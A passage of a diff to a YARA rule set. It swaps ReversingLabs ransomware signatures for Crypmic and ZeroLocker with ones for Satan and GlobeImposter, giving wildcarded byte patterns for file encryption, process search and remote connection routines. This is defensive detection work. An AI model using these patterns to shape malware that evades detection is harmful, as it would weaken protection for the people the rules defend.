+            8B F0 85 F6 74 ?? 8B 7D ?? 8B 47 ?? 8B 0F 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 47 ??
+            85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? FF 48 ?? 5F 5E 5B B8
+            ?? ?? ?? ?? 5D C3
         }
-		$remote_connection_p2 = {
-            1F 44 00 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ??
-            8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D
-            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
-            ?? A0 ?? ?? ?? ?? 6A ?? 88 41 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 45
-            ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ??
-            ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85
-            DB 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6
-            74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 56
-            FF 15 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF B5 ?? ?? ?? ?? FF D7 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B
-            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_3 = {
+            8B C6 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 C0 ?? 85 C0 7E ?? EB
+            ?? 8D 49 ?? 66 83 3C 46 ?? 74 ?? 48 85 C0 7F ?? 33 C0 C3 8D 44 46 ?? 85 C0 74 ?? 83
+            C0 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Crypmic : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Satan : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Crypmic ransomware."
+		description = "Yara rule that detects Satan ransomware."
 		author = "ReversingLabs"
-		id = "0d5c2141-c0ca-53c8-91fd-ec2d5f163df2"
+		id = "7ec379d8-172c-52ee-9284-6898dd446468"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Crypmic.yara#L1-L56"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ee97c4d35cee68e080a4e9e0a21ecd3698da638463881a58f5daaf906ef86f75"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Satan.yara#L1-L152"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0074090c2a6cc483deffdc83dc1c0bfbd150e201c27e54f998dd2c0a7660f917"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26363,56 +27685,143 @@ rule REVERSINGLABS_Win32_Ransomware_Crypmic : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Crypmic"
+		tc_detection_name = "Satan"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_and_encrypt_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 B8 ?? ?? ?? ?? 57 8B F9 89 7D ?? C7 45 ?? ?? ?? ??
-            ?? 89 45 ?? 8D 50 ?? 68 ?? ?? ?? ?? 6A ?? FF 77 ?? 66 89 85 ?? ?? ?? ?? 8B 47 ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D0 66 8B 95 ?? ?? ?? ?? 33 F6 33
-            C9 89 45 ?? 66 3B F2 74 ?? 0F B7 D2 41 66 89 14 06 8D 34 09 33 DB 0F B7 94 35 ?? ??
-            ?? ?? 66 3B DA 75 ?? BA ?? ?? ?? ?? 66 89 14 48 8D 1C 48 8D 8D ?? ?? ?? ?? 51 C7 43
-            ?? ?? ?? ?? ?? 50 8B 47 ?? FF D0 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ??
-            ?? 74 ?? 66 8B 8D ?? ?? ?? ?? 66 83 F9 ?? 74 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 33 D2
-            33 C0 66 3B D1 74 ?? 0F B7 C9 8B FF 40 66 89 4C 1A ?? 8D 14 00 C7 45 ?? ?? ?? ?? ??
-            0F B7 8C 15 ?? ?? ?? ?? 66 39 4D ?? 75 ?? 8B 55 ?? 33 C9 66 89 4C 43 ?? 68 ?? ?? ??
-            ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 01 45 ?? 8D 85 ?? ?? ?? ?? 50 8B 47 ?? 56 FF D0 85
-            C0 75 ?? 8B 47 ?? 56 FF D0 8D 85 ?? ?? ?? ?? 50 FF 75 ?? C7 43 ?? ?? ?? ?? ?? 8B 47
+		$remote_connection = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83
+            C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 6A ??
+            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF D3 8B 3D ?? ?? ?? ?? 6A ?? 56 FF D7 8D 45 ?? 50
+            8D 45 ?? 50 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 89 85 ?? ?? ??
+            ?? FF D3 8B 9D ?? ?? ?? ?? 6A ?? 53 FF D7 68 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 83 C4
+            ?? 8B F0 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 39 7D ?? 76 ?? 68 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 6A ?? 51 50
+            56 FF B5 ?? ?? ?? ?? 03 F8 FF 15 ?? ?? ?? ?? 39 7D ?? 77 ?? 8B 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 53 FF D6 FF B5 ??
+            ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5
+            5D C3
         }
-		$search_and_encrypt_2 = {
-            33 F6 89 75 ?? FF D0 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ??
-            F6 85 ?? ?? ?? ?? ?? 75 ?? 66 8B BD ?? ?? ?? ?? 33 F6 8B 8E ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 83 FF ?? 75 ??
-            EB ?? 8D 9B ?? ?? ?? ?? 66 8B 48 ?? 83 C0 ?? 83 C2 ?? 66 3B 0A 74 ?? 66 83 38 ?? 0F
-            85 ?? ?? ?? ?? 66 83 3A ?? 0F 85 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? 8B 7D
-            ?? 8B 75 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 50 8B 47 ?? FF D0 85 C0 8B 45 ?? 0F 85 ??
-            ?? ?? ?? 50 8B 47 ?? FF D0 85 F6 74 ?? 8B 55 ?? 33 C0 8B CF 66 89 43 ?? E8 ?? ?? ??
-            ?? FF 75 ?? 8B 47 ?? 6A ?? FF 77 ?? FF D0 8B 45 ?? 8B 5D ?? 03 C6 03 D8 8B 45 ?? 40
-            89 5D ?? 89 45 ?? BA ?? ?? ?? ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8B 47 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B CF E8
-            ?? ?? ?? ?? 83 C4 ?? 03 C3 5F 5E 5B 8B E5 5D C3 33 C9 33 C0 66 3B CF 74 ?? 0F B7 CF
-            33 D2 8D 9B ?? ?? ?? ?? 40 66 89 4C 1A ?? 8D 14 00 33 F6 0F B7 8C 15 ?? ?? ?? ?? 66
-            3B F1 75 ?? 8B 75 ?? FF 75 ?? 8B 7D ?? 33 C9 46 57 66 89 4C 43 ?? 89 75 ?? E8 ?? ??
-            ?? ?? E9
+		$search_processes = {
+            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 50
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 0F 1F
+            44 00 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 8B 4C B5 ??
+            8D 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75
+            ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? FF D7 6A ?? 50 FF D3 46 83 FE ?? 76 ?? 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B
+            E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ??
+            ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 4D
+            ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 83 CB ?? 89
+            5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 F6 89 75 ?? 89 75 ?? 56 68 ?? ??
+            ?? ?? 6A ?? 56 6A ?? 6A ?? 51 8B 3D ?? ?? ?? ?? FF D7 89 45 ?? 3B C3 0F 84 ?? ?? ??
+            ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? FF 75 ?? FF D7 8B D8 89 5D ?? 83 FB ?? 0F
+            84 ?? ?? ?? ?? 8B 7D ?? 8B 07 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 56 56 68 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF
+            75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ??
+            FF 75 ?? 68 ?? ?? ?? ?? FF 37 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 32 C0 89 45 ?? 88
+            45 ?? 33 FF 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 FF 75
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0F B6 C0 81 7D ?? ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 0F 42 C1 89 45 ?? 88 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 56 6A ?? 0F B6
+            C0 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 85 FF 75 ?? 57 8D 45 ?? 50 68 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 47 89 7D ?? 8B 45 ?? 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ??
+            74 ?? 83 05 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 ??
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+        }
+		$search_files_in_specific_folders_p1 = {
+            51 8D 85 ?? ?? ?? ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B F0 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 FF
+        }
+		$search_files_in_specific_folders_p2 = {
+            75 ?? FF 75 ?? 8D 55 ?? 8B CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85
+            F6 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 FF ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 8B
+            CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41
+            84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 6A ?? 40 8D 4D ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0
+            8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            EC ?? C6 45 ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83
+            EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 84
+            C0 8D 8D ?? ?? ?? ?? 0F 94 C3 EB ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8A D8
+        }
+		$search_files_in_specific_folders_p3 = {
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 DB 8B 9D ?? ?? ?? ?? 74 ?? 8D 45 ??
+            8B CB 50 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
+            ?? 33 F6 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ??
+            ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ??
+            ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($search_and_encrypt_*)))
+		uint16(0)==0x5A4D and ($search_processes and ( all of ($search_files_in_specific_folders_p*)) and $encrypt_files and $remote_connection)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Zerolocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Globeimposter : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ZeroLocker ransomware."
+		description = "Yara rule that detects GlobeImposter ransomware."
 		author = "ReversingLabs"
-		id = "291b5640-387c-54d9-97a6-13823932fa60"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "6634a554-b4bb-503d-a4f1-9997b4caa1f0"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara#L1-L70"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "147e4b390bcfaff8f05059c1d9a98b50f544fc32e820406417894fe5046e0f71"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.GlobeImposter.yara#L1-L171"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4345a767f270428f3b509fdad5a96bf9b494b190d3a836c4bf53dfd75da5bacb"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26420,72 +27829,151 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Zerolocker : TC_DETECTION MALICIOUS
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ZeroLocker"
+		tc_detection_name = "GlobeImposter"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_routine_1 = {
-            00 28 5B 00 00 0A 20 ?? 07 00 00 28 60 00 00 06 13 09 20 ?? 07 00 00 28 60 00 00 06 13
-            0B 02 03 20 ?? 07 00 00 28 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D
-            1B 00 00 04 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 04 20 ?? 07 00 00 28 60 00 00 06 20
-            ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06
-            13 0B 02 7B 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 6A 6F ?? 00 00 0A 00 20 ?? 07 00
-            00 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 8D 1E 00 00 01 0A 20 ?? 07 00 00
